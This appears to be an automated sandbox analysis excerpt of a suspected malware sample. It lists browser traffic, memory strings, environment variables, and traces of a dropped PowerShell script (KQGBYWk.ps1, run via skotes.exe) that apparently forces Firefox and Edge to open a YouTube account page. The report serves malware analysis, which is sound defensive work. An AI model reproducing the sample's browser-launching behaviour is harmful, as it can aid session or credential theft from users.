Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6159000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: 14287614-3088-4146-9848-cff2ed487ea7.tmp.17.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single function[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "responseHeaders"]]You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 000003.log.17.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log.17.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log.17.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3108663751.000001A8B8B3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3090481370.0000000008657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account ? equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3065741269.00000000075AA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000000B.00000002.2991420610.0000027D5D6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.3032272020.000002B535160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.3032272020.000002B535160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation(% equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.2989914534.0000000002E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account C:\Program Files\Mozilla Firefox\firefox.exe equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3299533997.000001A8A5D60000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $]q https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: skotes.exe, 00000006.00000002.3278202583.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.3030468982.0000000004BC6000.00000004.00000800.00020000.00000000.sdmp, KQGBYWk[1].ps1.6.dr, KQGBYWk.ps1.6.dr	String found in binary or memory: $url = "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3228844860.000001A8B6057000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3315084846.000001A8B3E71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000010.00000002.3299129330.000001A8A5CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -os-restarted https://www.youtube.com/accountH equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3246944068.000001A8B91AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000002.3323580066.000001A8B6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3264434250.000001A8C317B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B49B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3343255794.000001A8B7E1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B6190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3263352248.000001A8C37F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3345132926.000001A8B7EE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3108722427.000001A8B868C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3270733582.000001A8B868C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000010.00000003.3236109486.000001A8C33D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3323580066.000001A8B6503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3240111814.000001A8BFFCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3029532362.000001A8A844F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3304423656.000001A8A844F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3309155779.000001A8B2900000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: =::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3122177082.000001A8B89B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: >e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000003.3242315863.000001A8B9F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000002.3284374660.0000029D56104000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3291692182.000002B9C2CA4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3290620208.000001F42CED4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3299533997.000001A8A5D60000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.3032272020.000002B535160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account--attempting-deelevationj% equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000B.00000002.2991420610.0000027D5D6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Program Files\Mozilla Firefox\firefox.exehttps://www.youtube.com/account_S equals www.youtube.com (Youtube)
Source: powershell.exe, 00000007.00000002.3091318017.00000000086DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\1008615041\C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exewinsta0\defaultALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsAppsPATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPLPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSExecutionPolicyPreference=RemoteSignedPSModulePath=C:\Users\user\Documents\WindowsPowerShell\Modules;C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000B.00000002.2991420610.0000027D5D6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\1008615041\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account C:\Program Files\Mozilla Firefox\firefox.exewinsta0\default]S equals www.youtube.com (Youtube)
Source: firefox.exe, 0000000F.00000002.3032272020.000002B535160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Defaultl% equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3299533997.000001A8A5D60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Windows\system32\C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exeWinsta0\Default equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_closeSafeFileOutputStreamhttps://smartblock.firefox.etp/play.svg://imasdk.googleapis.com/js/sdkloader/ima3.js://ssl.google-analytics.com/ga.js://www.googletagservices.com/tag/js/gpt.jspictureinpicture%40mozilla.org:1.0.0://static.chartbeat.com/js/chartbeat_video.js://track.adform.net/serving/scripts/trackpoint/://www.google-analytics.com/analytics.jswebcompat-reporter%40mozilla.org:1.5.1://www.everestjs.net/static/st.v3.js://connect.facebook.net//all.js*://static.chartbeat.com/js/chartbeat.js://www.google-analytics.com/plugins/ua/ec.js@mozilla.org/addons/addon-manager-startup;1https://smartblock.firefox.etp/facebook.svg://c.amazon-adsystem.com/aax2/apstag.js://s0.2mdn.net/instream/html5/ima3.js://.imgur.com/js/vendor..bundle.js://pub.doubleverify.com/signals/pub.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpi://cdn.branch.io/branch-latest.min.js*://auth.9c9media.ca/auth/main.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://static.criteo.net/js/ld/publishertag.js://libs.coremetrics.com/eluminate.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//sdk.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js*resource://services-settings/Database.sys.mjs equals www.facebook.com (Facebook)
Source: History.17.dr	String found in binary or memory: Khttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3304423656.000001A8A841A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3304423656.000001A8A8380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3283065677.000001F42CAE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account5M equals www.youtube.com (Youtube)
